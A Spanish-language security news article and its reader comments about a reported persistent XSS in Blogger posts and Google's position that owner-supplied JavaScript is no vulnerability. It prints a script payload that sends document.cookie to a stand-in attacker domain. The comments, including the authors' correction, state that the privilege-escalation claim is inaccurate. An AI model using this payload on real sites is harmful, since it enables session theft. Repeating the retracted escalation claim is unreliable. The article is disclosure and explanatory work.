Se ha encontrado un problema de Cross-Site Scripting persistente en Blogger, que podría permitir a un atacante con permisos de escritura de blogs robar la cuenta de administrador. Google no considera el problema una vulnerabilidad en sí.
Blogger es un servicio de publicación de bitácoras en línea de Google. Lleva activo desde el año 2000 y se considera el precursor del uso de formularios web para la publicación de contenido.
Un ataque Cross-site Scripting o XSS se basa en que una página web no filtra correctamente ciertos caracteres especiales y permite ejecutar código JavaScript. Dentro del XSS existen dos tipos, el persistente y el no persistente.
Con el XSS no persistente se consigue que, mediante una URL especialmente modificada, en la web afectada se obtenga otro resultado. Hace 2 años se realizó un ataque XSS no persistente muy sonado en la página web de la «Presidencia Española de la EU«, cambiando elvídeo de bienvenida del entonces presidente, por una foto de Mr. Bean (aunque podía haber sido cualquier otra).
Si se entraba a la página a través de la URL»normal«, se veía la página en perfecto estado, pero el atacante en este caso publicitó una URL manipulada a través que las redes sociales que cargaba la imagen de Mr. Bean desde otro punto.
El otro tipo es el XSS persistente, que puede resultar bastante más peligroso. Este tipo de ataques se producen igualmente al no comprobar los datos de entrada en una web, normalmente formularios y quedan «grabados«. El atacante puede introducir un código JavaScript que quedará almacenado en la base de datos y cuando un usuario legítimo visite la web, esta cargará ese código.
El fallo en Blogger consiste en un XSS persistente al publicar una noticia. Al almacenar la publicación en la base de datos, el sistema no filtra correctamente las etiquetas ‘‘, utilizadas para ejecutar código JavaScript.
Así pues, si publicamos una entrada en formato HTML con el texto <script>alert(‘hola’)</script>, el visitante al entrar verá algo así:
Pero también es posible robar información como las cookies, accediendo a los datos con JavaScript y enviándolos a una página externa en los que queadarán recogidos. Por ejemplo:
<script>document.location=«http://dominioconXSS.com/script_manipulado.php?cookie=«
+
document.cookie;document.location=«http://www.dominiodelatacante.com«</script>
Y el ‘script_manipulado.php‘ se encargaría de recoger la cookie. Con esta información un atacante podría por ejemplo acceder con la misma sesión suplantando a la víctima.
Google no considera en general la «autoinclusión» de JavaScript una vulnerabilidad, y así lo indica desde hace tiempo en su programa de recompensas:
«Execution of owner-supplied JavaScript on Blogger: Blogger users are permitted to place custom JavaScript in their own blog templates and blog posts; our take on this is that blogs are user-generated content, not different from any third-party website on the Internet. Naturally, for your safety, we do employ spam and malware detection technologies – but we believe that the flexibility in managing your own content is essential to the success of our blogging platform.
Therefore, the ability to execute owner-supplied scripts on your own blog is not considered to be a vulnerability. That being said, the ability to inject arbitrary JavaScript onto somebody else’s blog would likely qualify for a reward!«
En realidad, Google defiende que el usuario debe poder ejecutar código JavaScript en sus entradas, para proporcionar más flexibilidad. Lógicamente, luchará contra el uso en técnicas de spam y malware a través de estos métodos, pero no puede restringir el uso de JavaScript a un usuario que puede incluir cualquier contenido en su web.
Aunque lo que afirma Google es cierto, el problema de esta vulnerabilidad vendría en el caso de que el blog sea usado por colaboradores externos y administradores. Los colaboradores o editores pueden introducir contenido (también JavaScript) en las entradas, pero no pueden administrar el sitio. Si el administrador visualiza esas entradas para moderarlas, los editores podrían obtener información y «elevar» privilegios.
Más información:
Full disclosure – XSS Persistent in Blogspot of Google
Google – Vulnerability Reward Program
una-al-dia (04/01/2010) El falso «hackeo» de la web de la presidencia española, XSS y lecciones para aprender
Antonio Sánchez
Sergio de los Santos
Twitter: @ssantosv
esto lo reporté al Google Security Team el año pasado, los cuales me confirmaron que sólo lo considerarían una vulnerabilidad si fuera posible ejecutar JS en el contexto de los dominios *.blogspot.com de otros usuarios o en blogger.com:
http://www.hackplayers.com/2012/01/vulnerabilidad-xss-en-google-orange.html
Esto es una DESINFORMACIÓN total a los usuarios que no tienen conocimientos sobre Vulnerabilidades Webs.
Efectivamente hemos publicado una información inexacta. La interfaz de administración está en el dominio http://www.blogger.com, mientras que el XSS se encuentra en xxx.blogspot.com (el dominio que «presenta» las páginas). Las cookies son distintas (de hecho en blogspot parece que no hay cookies) y por tanto, no se pueden elevar privilegios. Las consecuencias podrían ser otras, pero no elevar por robo de cookies. Disculpad.
Inexacta? información errónea. No se puede explotar = no hay vulnerabilidad.
ahora no permite ejecutar directamente javascript, contradiciendo lo que se pensaba anteriormente, en una entrada no se puede incluir js para ser ejecutado.
no se que piensa google de esto usando solo gadgets -.-